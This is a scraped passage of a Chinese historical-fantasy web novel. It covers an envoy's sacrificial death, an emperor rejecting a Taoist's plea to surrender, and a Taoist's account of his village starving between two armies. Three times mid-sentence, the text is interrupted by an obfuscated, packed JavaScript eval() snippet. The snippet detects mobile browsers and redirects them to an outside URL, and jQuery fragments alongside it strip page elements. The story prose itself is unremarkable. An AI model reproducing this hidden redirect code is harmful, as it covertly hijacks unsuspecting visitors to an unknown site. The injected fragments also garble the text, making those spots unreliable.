“好啊!”彭方泉猛地一拍桌子,暴怒起身,“这是干完活想过河拆桥?可惜了,当年楚皇对我信任至极,如今的齐皇也好骗得很,你想骑到我头上去,做梦!” 付常昊也怒了,“彭方泉我忍你很久了,不过就是个临时的钦差,你这种贪婪小人,给本将军提鞋都不配!” “你以为老子瞧得上你吗,莽夫就是莽夫,一辈子也就在战场上还有点用,你们这些兵卒拿命才能拼到一星半点军功,哪像我,只要动动嘴皮子,金银财宝就滚滚而来,废物一个,还敢在我面前叫嚣!” “信不信我杀了你!”付常昊拔出宝剑。 “来呀,朝这砍。”彭方泉梗着脖子把头伸过去,“我可是齐皇钦点的特使,敢杀我,你就是拥兵自重的奸臣!” “你!”付常昊胸膛起伏,似是气得不轻。 彭方泉有恃无恐,“这就是愚忠的下场,你要做忠臣就必须受我差遣,闭上你的嘴少耍点性子,大家都安生。” 本该热闹的宴席草草结束了,付常昊和彭方泉不欢而散。 这天夜里,有人来找付常昊合作,想要暗杀彭方泉。 付常昊答应了。 三日后,彭方泉在军营里散步时被一个突然冒出的黑衣人一刀扎在心口,当场倒地不起。 彭方泉命悬一线。 营帐内,付常昊满脸慌乱,“不是说好的诈死吗,怎么伤成这样?” 奄奄一息的彭方泉扯出一丝轻笑,“戏演得再真也有被戳穿的一天,抱歉,没有提前告诉你,这场假戏,我就真做了。” “为什么?” “我说过的,当怨恨集于我一人之身,我死了,民怨马上就会平息。” “你,你这是……”付常昊明白了什么。 “我走之后,不必为我收尸,留给他们足够的机会来确认这具尸体的真假。” 付常昊不愿答应,“外面那些人有多恨你,你知不知道你会被撕碎的,你想死无全尸吗。” “没关系,就算被分成了千万片,我也还是存在南楚这片土地上。”彭方泉一点都不害怕,“我生在这里,长在这里,这里就是我的家,魂归故里,夫复何求。” “彭大人……” “你可千万记得,别露出破绽,莫辜负我这一番苦心。”彭方泉从枕头下拿出一本册子,“这是我写的税制改良之法,交给齐皇,求他勿忘初心,轻徭薄赋,善待那些穷苦的平头百姓。” “都这种时候了你……” “但愿下辈子投胎的时候,这天下已经一统,我能生在一个太平盛世,不用再亲眼看着自己的国家一点点腐朽、衰落,最终灭亡。” 彭方泉闭上眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903792|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 付常昊失声痛哭,过了好一会儿,他让下属把尸体交出去。 “八百里加急送信回京,切勿多言,陛下身体本就不好,不可再让他徒添内疚,就说军中守卫一时不察,让刺客杀了彭大人。” “将军那你。”下属有些担心他。 “去吧,让我一个人静静。”付常昊满心痛苦,“今后任何与彭大人有关的消息都不要告诉我,我实在听不得。” “末将明白了。” 京城这边,萧素玄很快收到边关急报。 彭方泉意外身亡,去世前托付常昊上交一本税赋革新书册。 夜里,萧素玄又站到了最高处的瞭望台。 “长忠,朕又害了一个。”萧素玄心中愧疚,“他本可以平平安安了此残生的,是朕把他重新拉进这乱世的漩涡。” “谁也没想到会发生这意外的。” “不,朕料到了的。” “陛下?” “朕早就知道他要做的事非常招人恨,所以舍不得派出自己的心腹,什么各取所需,不过说着好听,其实根本就是拿他挡箭,利用他,榨干他最后一丝价值,长忠,朕很无情,是不是。” “人为财死,鸟为食亡,他也是想得到一笔钱财养老才为您做事的,而且您还让付将军随行保护,谁能想到那刺客这么厉害,连付将军都没拦住。” “长忠,朕上辈子是不是真的干了什么十恶不赦的事,不然为何这一世要受到如此惩罚,越是想要什么,越是得不到,朕只是为自己,为东齐求一条活路而已,可目标未至,却已经先连累了那么多人。” “陛下凭什么断言这是连累!” 长忠的声音有些激动,萧素玄回头。 “他们又不是傻子,早在做出选择之前就该料到将来的后果,只要死得其所,便算不得连累。” 萧素玄见他一脸认真,眼中满是信任与执拗,心中郁结也消散不少,“你说得对,是朕太多愁善感了,开弓没有回头箭,可不能叫他们白白牺牲。” 转过头,萧素玄直面冷风,道:“长忠,你去拟旨,斥付常昊保护不力,另外让他务必办好彭方泉身后事。” “啊?陛下,付将军劳苦功高,这会儿发道圣旨去骂他会不会有点让人寒心?” “功是功,过是过,那么大个活人在他军营里被杀难道不用负责的,他要因此生出怨怼,那朕才要寒心了。” “哦。” “还有,告诉他若有闹事者,不必客气,只要一日没被撤职,他就一日是我东齐的朝廷命官,就是被五马分尸了,拼也得把人给朕拼回来。” “是。”长忠转身要走。 “等等。”萧素玄叫住他,“再让刑部调个人过去严查杀害彭方泉的凶手。” 长忠觉得希望渺茫,“想杀他的人那么多,找不到吧。” “得不到结果也得有个过程,不然别人还以为我东齐尽是卸磨杀驴之辈,用过了就扔。” “这……行,奴才这就去。” 121. 天下苍生 东齐吞并南楚与北梁,五国只剩其三。 东齐崛起之势肉眼可见,不少人陷入了焦虑。 中周。 首辅苏恒黎邀来一众心腹在府内商议对策。 “诸位,北梁已亡,南楚也降了,咱们大周危矣。” “真没想到那齐皇城府竟这般深,难怪圣上斗不过他,这招太狠了。” “就是,谁不知道那些个平头百姓掀不出什么风浪,若要复国还得靠那些世家贵族,他可真行啊,釜底抽薪,把富户钱全给抢光,放过那些无知的穷鬼,这得了财还得了名,连黑锅都叫旁人背了,谁不说一声好算计呢。” “也不知那彭方泉被他拿住了什么把柄,竟这般任劳任怨,明知道危险重重还四处招摇,果真现在把命给搭上了,真是报应!” “可不是,那两个人双簧唱得多溜啊,从第一天吵到最后一天,瞧着跟仇人似的,背地里还不是高高兴兴在一起分赃,真要是不和,他付常昊能对付不了一个别国弃臣?” “说到底还是齐皇手段高,笼络人才在前头做事,自己躲在后头捡便宜,付常昊从各地拉走的那些现银能全放在军中吗,清点完还不是要上交国库,其他值钱的东西变卖也需要人手,这哪是一群大老粗兵卒能做到的,不还得齐皇派人去做吗?结果一个个都盯着那两个冲在最前头的去了,现在彭方泉一死,嘿,竟都觉得老天有眼,没人记得那个罪魁祸首。” “付常昊前脚刚走,后脚东齐的官员就到了,改换门庭,重立新法,顺利得不得了,看看人家,再看看咱们这位,都是兄弟,这心眼怎么能差这么多?” “他要是个有本事的能被赶到咱们大周来?成天吹嘘天生神力,说喜欢打仗,结果呢,付常昊都拿下整个北梁和南楚了,他才占下七座城池,哪比得上贪狼元帅半分,若元帅还在,这么好的机会,我们岂会落到此等地步!” “还不是公主她……” “别乱说话,逝者已逝,多想也无用,现在要紧的是眼下该怎么办,东齐已经由最弱转为最强,付常昊神勇无比,我们不能坐以待毙。” “为今之计,只有看能不能联合西魏,或许还能有一抗之力。” “怎么联合,先不提谁能去西魏游说,就算能劝动那边,咱们这里怎么办?自从圣上纳入多位世家女进宫为妃,咱们这些老臣的势力可大不如前,他现在都不听我们的。” “这个忘恩负义之徒,也不想想他能坐上这个位子是因为谁!” 就在众人议论得热火朝天的时候,苏恒黎与逸尘子姗姗来迟。 在首辅面前,各下属都收敛不少,没再抱怨圣上无用,转而试着提出可行之策。 有人建议派出刺客看能不能杀掉付常昊,毕竟那彭方泉暗杀成功了,可见付常昊军中防卫并不严。 有人建议交好西魏,对长公主穆飞霜使出美男计,虽说她立誓一生不嫁辅佐幼弟,但毕竟是个女子,还真能愿意一辈子当个老姑娘? 有人建议广招能人异士,看能不能潜入东齐皇城,搅浑水也好,煽风点火也罢,伺机而动总能找到破绽的。 还有人建议直接派人去暗杀齐皇,一个不成就两个,两个不成就十个,只要能成功,付出多少代价都是值得的。 逸尘子本来还默默坐在一旁,忽听得这建议,心下一动。他来到中周后虽被首辅苏恒黎奉为座上宾,可其他大臣包括周皇萧木桪都不相信什么道法,认定他是个有点小本领的江湖术士,并不信任。 说到底,齐皇萧素玄才是根本,若能从源头解决,一切便都不再麻烦。人间帝王受国运相护,他这样的修道之人无法直接动手,但好言相劝几句总是没问题的。 —— 东齐,皇宫。 萧素玄冷眼看着这个突然出现又自称国师师兄的人用正气凛然的脸说出一堆可笑幼稚的话,只觉中周是不是气数已尽,居然病急乱投医到了这个地步,想用三言两语劝他放弃大好形势,做梦呢。 “道长大老远从中周跑来,为的就是说这些?” “恳请齐皇为天下苍生考虑。” “天下苍生?这话说得可真好听,你问过苍生愿不愿意了吗?” “乱世人命贱如草,若能活在太平盛世,谁又愿意成天面对战争,他们自然是愿意的。” 萧素玄听得这话,冷笑一声,道:“苍生,不过是强者脚边的一窝蝼蚁。心情好的时候,遮风挡雨护上几分;平日里忙于自己的事务,便冷眼旁观他们自生自灭,若是心情不好,就去踩上几脚撒气,甚至有朝一日为了满足私欲,还会毫不犹豫地牺牲、利用他们,这天下究竟能有几个是真正为苍生考虑的,你不觉得自己的话很虚伪?” 逸尘子反驳:“齐皇何必把别人都想得那么邪恶,贫道辅佐周皇不求名利,不求荣华,所作一切都是为了苍生福祉。” “你的确不求名利,你求的是一统天下的功德,是成仙的机会!”萧素玄面露嘲讽,“朕从小就知道,人性本恶,所有人都是自私自利的,没有例外,别在这里扯什么冠冕堂皇的苍生大义,朕一个字都不信!” 逸尘子被萧素玄嘲弄的眼神看得难受,“那齐皇就当我是出于私心,我想用天下苍生的安居乐业换成仙之机,可这与我今日所言并不冲突,您虽吞并两国疆域,但加起来也不过与我中周国土堪堪持平,若要一统绝不是三两天就能结束的,难道您就忍心看着无辜百姓卷进两国的战争中吗?” “打仗怎么了,现在哪天不打仗,你凭什么觉得朕愿意会为几个不相干的人失去青史留名的机会?” “若齐皇当真是个利欲熏心之辈,就不会愿意担下东齐三成的国运反噬,我知道,这不是件容易的事。” “我倒忘了,你还是国师的师兄呢,不过道长,你猜错了,朕才没有什么仁心,只是为了责任两个字罢了,他们是东齐之民,朕是东齐之君,仅此而已。” “若您当真在乎东齐百姓,那更应该接受我的建议,您并无帝王之命,给不了他们安定的生活,周皇宅心仁厚,又曾是东齐皇子,若他得了天下,也一定会善待这里的百姓。” “他连一个夙月都护不住,如何指望他能保下那些无亲无故的平民百姓?” “这不一样。” “有什么不一样,一屋不扫何以扫天下!” 逸尘子自觉苦口婆心,“我知道齐皇爱重姜皇后,可古往今来红颜只是帝王人生的点缀,于天下而言更微不足道,周皇是帝星,他一定能够还世间太平的,您就非要为一个女人让苍生陷入无边战火吗?” 可萧素玄不为所动,“道长知道天下苍生有多少人吗?想让他们安居乐业又要付出多少?土地、财税、边防……要顾虑的地方有多少你清楚吗?严城主花了几十年,从年富力壮努力到两鬓霜白,才将漠平三城从不毛之地变成了边陲小城,朕自登位起,自认夙兴夜寐,勤勉不辍,也没能让东齐五百多万人全都过上好日子,而到了你这里,就只需要轻飘飘的四个字?” “可这是天意。” “天是什么,都说天上一日,地上一年,在神仙眼里大概我们这些凡人就是那不可语冰的夏虫,既如此,为何要来干扰?道长,你既然遵天意行事,不如先替朕去问问,都说上天有好生之德,怎么到了东齐就不作数了。朕自问从小到大没过过几天舒坦的日子,活得已经够辛苦了,何必再添上这么一个诅咒,真要这般不待见,降下一道天雷劈死便是,不用如此麻烦,白白连累那么多无辜的人。” “当初就是您非要登位才致使东齐天灾不断,现今一切都是注定的,您既然觉得辛苦,何不就此放手,大家都轻松。” “放手?说来轻巧。朕曾经想过独善其身的,关上门把自己的日子过好就行,可换来的是什么,是心爱的姑娘被夺走,是身边最重要的人一个一个被害,从那之后朕就明白了,你越是退让,越是容忍,别人就会逼得越狠,谁都是自私的,你不去争他们就会来抢,永无休止。” “齐皇真要这般执拗?” “朕不过是吃一堑长一智罢了,所有事都必须在朕掌控之中才能保证不会有任何意外出现,便是你们中周,那云瑶公主可不就是前车之鉴。” “什么?” “为了自己的情郎,手刃亲族,把皇位拱手相送,换来的是什么?是人家嫌她心狠,是人家为了所谓的大局不断地收妃纳妾。听说自从她的靠山贪狼元帅没了,朝堂上废后的言论就没消失过,那些出身世家的妃嫔也越来越跋扈,要不是身边的人还算有点本事,母子俩早就被挤兑得没地站了吧。” 逸尘子被这话怼得哑口无言,有心想反驳又不知该从何说起。 “由此可见,将一切都寄托在别人的良心上是多么不靠谱!”萧素玄断言道,“朕自己的国家自己守,自己的百姓自己护,才不会指望别人那虚无缥缈的仁厚。” “可这一切不过是您做了最坏的打算,世事无绝对,万一周皇真能治理好天下,万一苍生真因这一念之差而毁,又该如何?” “没有万一,苍生从不会因一人而毁,也不会因一人而得救,道长不必高看我萧素玄,有时间在这里空谈大义,你不如去劝劝萧木桪,早日归顺,待朕一统五国,天下自会平静,你嘴里的苍生也会过得比现在强几百倍,不送!” —— 这天晚上,素玄罕见地又做了梦。 梦里,是一个蓝衣的小孩子在向一个青衣的女子哭诉。 “青姨,已经二十年了,这二十年来我不断地吐纳灵气,可每一次它们都会在最后关头散掉,我是不是一辈子只能当个灵体了。” “不会的,玄儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929948|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会的,一定有办法,不论什么事,一定会有办法的。当初我也只是一个小小的地仙,祖上也都是很普通的鲛人,要是没有意外永远都只会留在地仙境,可那又如何,现在还不是被我修成了大罗金仙。” “可我只是灵体,连仙都算不上,修为还半分也涨不上去。” “没关系,只要尝试得够多,一定能找到解决的办法,你不要灰心,一切都会好起来的。” “真的会好吗,要是我永远只是灵体呢?是不是就像他们说的那样,因为我只是个废物,爹娘才不要我的。” “不是的,别胡思乱想,你可是个天才,你的术法天赋多高啊,将来说不定能当个开宗立派,广收门徒的宗师,一切都有可能,别灰心。” “那您告诉我,他们是谁,他们在哪!” “等时候到了,你会见到他们的。” “那要到什么时候,我不想再听他们说那些,听着那些话,我好想把他们都变成哑巴!” “玄儿,不要这么想,别生出这样的想法,青姨会去和他们父母说的,你千万不能用那种手段去报复别人,这很不好。” “可我好难受,为什么他们都要来欺负我。” “欺善怕恶是六界多数生灵的本性,千人一面,已是寻常,可是玄儿,不要因此心生怨恨变得和他们一样,那很不值得。” “我才没有变成他们那样。” “玄儿,青姨给你讲讲我的过去好不好。” “过去?” “青姨的父母都很慈祥,虽然他们在我七岁的时候就出了意外,却给我留下了十分美好的回忆。之后,我在族人们的照拂下无忧无虑地长到十八岁,我曾以为,这个世界是安宁又美好的。 可这一切在我拜了一个师父后,就全都变了。 我第一次知道了什么是恶意。 大长老的女儿看中了我的师父,想做他的弟子。 我的师门虽然只是个不入流的小门派,却有个规矩,一代只收一个弟子。师父不敢得罪大长老,又对一个年仅二十岁就修到天仙境的天才十分心动,便以资质驽钝,不堪造就为由将我逐出了门墙。 而大长老虽说并不把我这样一个没有实力,没有背景的小地仙放在眼里,未曾费心打压我,却派人暗中监视、处处提防,生怕我背地里使出什么下三滥的招数伤到他的宝贝女儿。 就连师父也是这么想的,他甚至来劝我离开鲛人族,外出游历,他说师徒一场,不想我因为不甘和嫉妒变成一个阴险狭隘的人。 多荒谬啊,明明被抢师父的是我,被排挤的也是我,可被他们看作恶人的还是我。 最后,一向和善的三长老找了过来,说我已经不适合在族里待下去,还交给我一张地图,是他很久以前发现的一株蛻凡草的所在地,算算时间已经快要成熟。他告诉我只要我运气够好,便可以在吞下它之后百年内升入天仙境,他无法改变族人的想法,只能盼我变得坚强自持。 我就那样狼狈地离开了生活了十八年的鲛人族。 我很刻苦地修炼,四处寻找机缘。他们不是认为我会一辈子庸庸碌碌做个地仙,变成一个阴险的小人吗,我偏要修成大罗金仙,偏要成为这世上最正直善良的! 如今我已是鲛人族修为最高的了,族里其实很需要我,可我没有回去,并不是因为我心存怨怼,而是他们自己知道,无颜见我。 所以你的优秀,你的光明磊落,就是对那些恶人最大的报复。 玄儿,不论你将来发现什么事都要记住,这世上,有恶必有善,有人厌恶疏离,就一定有人亲近喜欢,不要因为别人的自私恶毒,就让自己也成了那样的人。 如果你变坏了,只会让亲者痛而仇者快,那些行为卑劣的人不会觉得自己有错,他们只会像是抓到了什么能为自己开脱的把柄一样,迫不及待地说,瞧,我早就看出来了,他生来就不是个好的,我当初那样对他是没错的! 我曾以为,我会有个家的,但最后,到底还是只剩我一个人。可是玄儿,我有了你,你比任何宝物都要珍贵,这就足够。行于世间,困难和挫折是少不了的,越是这样你就越要守住本心,做你认为最正确的事,只要无愧于天地,无愧于自心,你就是善,别让旁人的步步紧逼,冠冕堂皇污了你的道。 当不了生来受眷顾的素雪,就把自己磨成坚韧无瑕的玄玉,谁都不要想让你染上尘埃,记住了吗?” “嗯。” …… 天亮之后,素玄醒了,看着变得湿漉漉的枕头,怎么也想不起来自己到底做了个什么梦。 不过心里被逸尘子挑起的那点不快,已经消散得干干净净。 是了,人性本恶,不是早就清楚了吗,何必在意旁人那些冠冕堂皇、自私自利的话,走我自己的路就好。 122. 忘尘前尘 逸尘子没能说动萧素玄,为了不白跑一趟,他又来到天师府,想劝一劝师弟弃暗投明。 忘尘子见到阔别已久的师兄,自是高兴异常,赶忙拿出珍藏的好酒请他共饮,可惜逸尘子无心叙旧,单刀直入地说明了来意。 忘尘子放下手中酒壶,不置可否。 “师弟?” “师兄,我从没跟你说过我小时候的事吧。” 逸尘子不解,明明在说让他跟自己去中周的事,怎么突然扯到小时候了?“你上山之时脾气很差,成天闷不吭声躲在屋里,一副遭逢大变的样子,我自然也不敢多问,怎么,现在突然想告诉我了。” “那年,我遭遇了一件天大的祸事,师兄,你知道我的家人都是怎么死的吗?”忘尘子无神的双眼望向逸尘子,“是冤死的。” 逸尘子:“……” “我的家乡,在北梁边境的一个山谷里,那是一处福地,从来也没发生过什么天灾,风调雨顺地过了许多年,村里人安居乐业,日子平静又顺遂。 可那一天,一切都变了。 一队北梁军来到村口,领头的将军说他们与西魏打仗到了最后关头,然而粮草耗尽,想从我们村里借粮。 村长是不愿意的,我们那里不过是个百余人的小村庄,哪里供得起几千人的军队。可正值秋收,家家户户门口都堆放着不少粮食,领头的将军两眼放光,根本听不进村长的搪塞之词,随意写下一张欠条后便让手下兵卒们进村搬粮。 就这样,我们辛苦一年刚刚收上来的粮食全都被拿走了,一点不剩。 然而事情并未就此结束,第二天,西魏军队也来了。 他们同样已经山穷水尽,见我们这里没有余粮很不甘心,凶神恶煞地在每家每户搜查,将地窖都挖开,将米缸都清空,连门前的青菜萝卜都拔得干干净净。 待西魏军掘地三尺般地离开后,我们村里再没有能吃的东西,大家连当天的晚饭都成了问题。 没有食物,村里人只好去找附近的山上打猎、寻野菜,可山里的毒蛇猛兽真多啊,防不胜防,短短两日已有十几人丧命。 我们村本就偏僻,几乎要与世隔绝,平日里少有买卖,每家都没有多少银钱存下。 村长无计可施,只好集齐全村的银子前往几十里外的县城求救,顺带看看能不能买些米粮回去。 可好不容易到了县衙,县令却根本不信。 为什么大军缺粮不去他们县城偏要去一个小村庄,为什么别的村子都没事偏就我们村被抢?他觉得是我们这些刁民妄想逃脱税赋才编出谎言,其实根本没有什么军队出现过。 村长不断解释,拿出借条证明自己所言非虚,但县令完全听不进去,不但叫人把他打了一顿,还放话说一个月后我们村若是交不出税来,男丁下狱,女眷发卖,什么时候凑足了税银什么时候算完。 村长本就两天两夜粒米未进,又被衙役所伤,当天晚上就没了,他强撑着最后一口气回到村里,让我爹带剩下的村人逃离,去远一点的县城讨生活,虽然人比较多,可少要一点工钱总能找到活干,团结一心先把最难的日子撑过去。 民不与官斗,为了保命,我们全村人匆忙收拾东西上路了,吃野草,啃树皮,就像一群逃荒的饥民。 后来,行至一处峡谷之时,我们迎面碰上了那队北梁军。 为首的将军已经知道西魏士兵在我们村里搜到了粮食,他认为我们心存不轨,是叛国之民,拔刀相向不准我们过去,而西魏大军这时也来到峡谷另一边,他们当然不会同情敌国百姓,也不愿意后退,局面就这样僵住了。 我们这几十口人,都是一群普普通通的农户,没有飞檐走壁的本事,前有豺狼,后有猛虎,谁都不肯相让,最后,大家就被夹在两军之间……活活饿死了。” 逸尘子从不知师弟身世竟这般凄凉,一时无言。 “只有我,有那么一点修道的天赋,误打误撞吸收了灵气,撑到师父路过施以援手,师兄,从那一刻开始我就明白了,天道无情。” “师弟……” “在山上的时候师兄你总说我太过拼命,可我如何能不拼命?我记得他们所有人的脸,记得他们每一个人离开的样子,铭心刻骨,至死难忘,那段时间,学好本事下山报仇就是我活下去唯一的意义。” “可你……”逸尘子很惊讶,师弟身上明明没有杀业因果。 忘尘子接下来的话解释了原因。 “后来,我成了得道高人,却依旧不能报仇。下山后我先赶去西魏,却发现当年的领兵之将在峡谷一役后战败身亡,其家人也被皇上迁怒,满门上下就只剩一个还在襁褓里的外孙女。而他的副将,瞎了一只眼瘸了一条腿,在我找上门后先是据理力争,说敌国百姓是死是活本来就和他们没有关系,连北梁自己的将士都不愿意保护他们西魏就更没有理由冒险,见我不依不饶,他又转而跪在地上苦苦哀求,求我要报仇找他就好,不要牵连其他兄弟,说他们都是一群听命行事的小兵,皆是身不由己。 我能怎么办?我该怎么办! 我只好离开西魏,又去了北梁。 昔日领兵小将已是三军统帅,他义正词严,说那些村民有通敌之嫌,万一其中有奸细,谁来负责?他麾下都是为国抛头颅洒热血的士兵,以小保大,何错之有?难道如今竟不是死在战场上,而是死在自己人手里?当年是一场误会,现在道长竟要将这叛国贼的名头坐实了吗?那一声声质问,竟半点不心虚。 师兄,你知道千夫所指是什么样的吗,每一个人都用厌恶防备的眼神看着我,仿佛我只要动手,就是一个十恶不赦的屠夫。 再后来,几位声名在外的贤士也来劝我,说他们都是保家卫国的将士,这一切都是为了以防万一,站在他们的立场上是没错的,何不退一步,海阔天空。 所有人都在要求我网开一面,可是凭什么,我的族人们一辈子没做过坏事,可当初他们谁肯给予一丝慈悲? 凭什么今日要我来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942963|127613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做一个大度的圣人! 到最后甚至连师父来了,他说冤冤相报何时了,他给我取道号忘尘,就是希望我能忘掉那些俗世之事。既然已经踏上道途,就不能妄开杀戒,他不想我的手上沾染无数的鲜血,徒增罪孽。 他把我带回了师门,在山上关了五十年,五十年啊,关到我所有的仇人都成了白骨。等我再次下山的时候,茫茫天地,我连一个可以复仇的人都找不到。他以为我会忘了,可我怎么能忘,我如何能忘,我每天晚上只要一闭眼就能看到他们一个个在我面前倒下,我们到底做错了什么啊!” 忘尘子通红的双眼看向逸尘子,里面满是凶狠,“到头来,谁都没有错,错的是我们这些蝼蚁,不该投生在这乱世!” “师弟。”逸尘子有些被吓到了。 忘尘子似是意识到自己的失态,收敛气息,平复心绪,道:“师兄,我和你不一样,刻苦修行不是为了什么成仙得道,我只想求一个天下太平。我已注定一无所有,可至少,还可以试着去给其他人一个完完整整的家。” “师弟。”逸尘子听完这些话,大致也猜到了师弟的想法,“你有此心师兄很为你骄傲,可天命难违,萧素玄他没有帝王命,他做不到的。” “我不知道什么天命所归,我只知道陛下能用最小的代价结束战乱,能没日没夜处理政务保朝堂安稳,能时时刻刻把百姓放在心上,这对我来说足够了。” “师弟,你只顾着所谓的天下太平,那你自己呢,从前我对萧素玄的了解不过是道听途说和你信中所言,今日亲眼得见,我才发现情况远比我想的更糟,那萧素玄命中注定一生孤苦,与他亲近之人皆不得善终,你就一点都不担心吗。” “我不在乎。”忘尘子冷静道,“只要能早早结束这乱世,便是十八层地狱我也愿意下。” “师弟!”逸尘子完全不能放心,“萧素玄工于心计,敏感多疑,根本不是明君之象,他能有现在的成就不过是一时运气,这好运能保他几次?侥幸得来的东西是无法长久的,这东齐肯定迟早还会乱,你不要执迷不悟了。” “执迷不悟的是师兄你,”忘尘子淡淡反驳,“师兄莫不是和萧木桪待久了,以为治国靠的是一颗善心?” “善良不好吗?” “我知道,周皇仁善之名遍传五国,就连我在这东齐皇宫,听到那些宫人私下提起他,也多是褒扬之词,论心不论迹,他是师兄你最欣赏的那一类人。” “你既然知道……” “可那又如何,明眼人都看得出来,中周治下不如东齐。” 逸尘子……无言以对。 “而我,论迹不论心,不问初衷,只问结果。什么贤名,什么仁厚,我都不信,我只信眼前所见,只要能还百姓一个清平盛世,他就是明君。” “万一他做不到呢,万一最终还是帝星胜出,万一……” “没有万一!眼前都顾不好何谈将来,人定胜天,我必会辅佐他一统江山,保人间太平!” 123. 天师府 天师府。 逸尘子无法说服师弟,只得怏怏离开,然而当他行至前院时,忽觉上方有一道锐利的目光,他抬头望去…… 皎月当空,一个黑袍人正站在房顶,无声地盯着他瞧。 逸尘子感受到此人周身强劲的灵息,不敢小觑,拱手一礼,“敢问阁下是?” “天师府天师,范闻道。” “原来是范道长,久仰久仰。” “客套话就不必说了,听着怪虚伪的。” 逸尘子笑容一僵,他好像没招惹过这人。 范闻道肃目垂首,“逸尘道长先是用法术潜入宫中,而后又深夜出现在天师府,应该不会是来找故人叙旧的吧。” “这……在下确有要事。” “劝降一国之君,招揽当朝国师,道长的胃口是不是有些大了?” 逸尘子闻言有些尴尬,“世事无绝对,试一试总比坐以待毙要好。” “那试的结果如何?”范闻道淡淡一笑。 逸尘子叹道:“东齐气数未尽。” 范闻道笑容加深,“道长不该来的,你既是国师的师兄,就该知道齐皇身负国运,他可不是个软弱之人,何必白跑这一趟。” 逸尘子道:“不瞒道友,我正是知道齐皇坚持了这么多年才会生出劝降之心,我以为他能做出此举,想来与传言不同,是个心怀仁义的君主,却未曾料到他性情如此偏执,根本听不进半点逆耳忠言。” “逆耳是真,忠言可就不一定了,道长就这么相信天命?” “我等皆活在天之下,为何不信?” 范闻道没有回答他,而是话锋一转,“道长有没有奇怪过,齐皇扛下国运三成反噬,如今国土扩张,反噬也该更重才是,可他虽体弱,看起来却好像并没有什么大碍。” “这……贫道的确想过。”逸尘子面露思索,“今日亲见齐皇,他的气色确实比我预料的要好得多,按理说他凡人之躯,又先天不足,纵有师弟帮忙,也不该这般安然才对。” “世人只知齐皇花重金招揽术士,却不知整个天师府为了钱财而效忠的,只有我一人。这群术士啊,除了国师和我,都是土生土长的东齐人,生于斯,长于斯,他们对这片国土感情很深。” 逸尘子不解,这跟天师府又有什么关系? “齐皇这些年的所作所为大家都看在眼里,他们都很清楚,东齐不可能再出现第二个萧素玄了。天灾尚可想办法抵挡,而人祸,防不胜防,所以为了保住这样一位爱民如子的国君,他们几个,全都折了自己一半的寿命。” “什么?”逸尘子心下一惊。 “很傻是不是,我也觉得这是一群傻子,可他们就是这样做了。或许是近墨者黑,跟脑袋不清楚的人待在一起久了,我自己也变得好糊涂,以至于今日特意来警告道长一声,莫要做出什么越线的事,不然后果难料。” “你威胁我?” “谈什么威胁呢,你要是不先动手,我如何反击,道长,身为东齐天师,我总不能袖手旁观。” 许是范闻道的神色太过自信,又或者是接连被拒让逸尘子心里不痛快,他冷哼一声,“好大的口气,若老夫真打算做些什么,你又阻止得了吗。” “您是仙门高人,自然比我这个野路子强上几分,但道法再精深,终究也还是个凡人,我若与你拼命,同归于尽应该也不算什么难事。” 逸尘子胸膛起伏,“你疯了?萧素玄根本没有帝王之命,他安不了天下,为什么你们一个个都这么向着他!” “那谁能安?是那位女人多到后宫都塞不下的南楚国君,还是那位被几个大臣牵着鼻子走的中周新帝?又或者是那位为个男人连家底都送出去的云瑶公主?他们三个可都是所谓的天命之人。” “成大事者不拘小节,这些不过是小事。” “君王身上从无小事,他们的一言一行都可能影响无数人。听说就在两个月前,中周兵部尚书和户部尚书在朝堂上为了增添军备一事大打出手,户部尚书伤了眼睛,躲在家里称病,此事竟还真就因此拖下去了。一个月后,萧木桪总算调和了二人的矛盾,军备也顺利地发了下去,中周各军对他感激涕零,无不称颂,可就因为这区区一个月的时间,边境冻死了一百零三个士兵。” “想不到这等琐事你们也知道,看来东齐暗探还真不少,这没什么吧,朝堂争执本就寻常,政令推行也需要经过重重考量,周皇已经尽自己所能为将士们争取了利益,最后的结果总的来说还是好的。” “好?”范闻道嘲讽一笑,“也对,逸尘道长心里装的是天下万民,区区一百余人,不过是沧海一粟,算什么呢,也就是您师弟那种傻子,为这么件小事气得两天都没吃下饭!” 逸尘子一噎,强辩道:“国境四方每日那么多事,三军将士又何止成千上万,意外总会有,这不能怪到周皇身上吧。” “可这一切原本不用发生的,不是吗,他们没死在敌兵的铁蹄之下,倒是被自己人给冤死了。”范闻道言辞犀利,“君主,享受着至高无上的权利,也承担着无比沉重的责任,治下出现任何问题,那都要君主来负责!” “你这是牵强附会!”逸尘子不能认同他的想法。 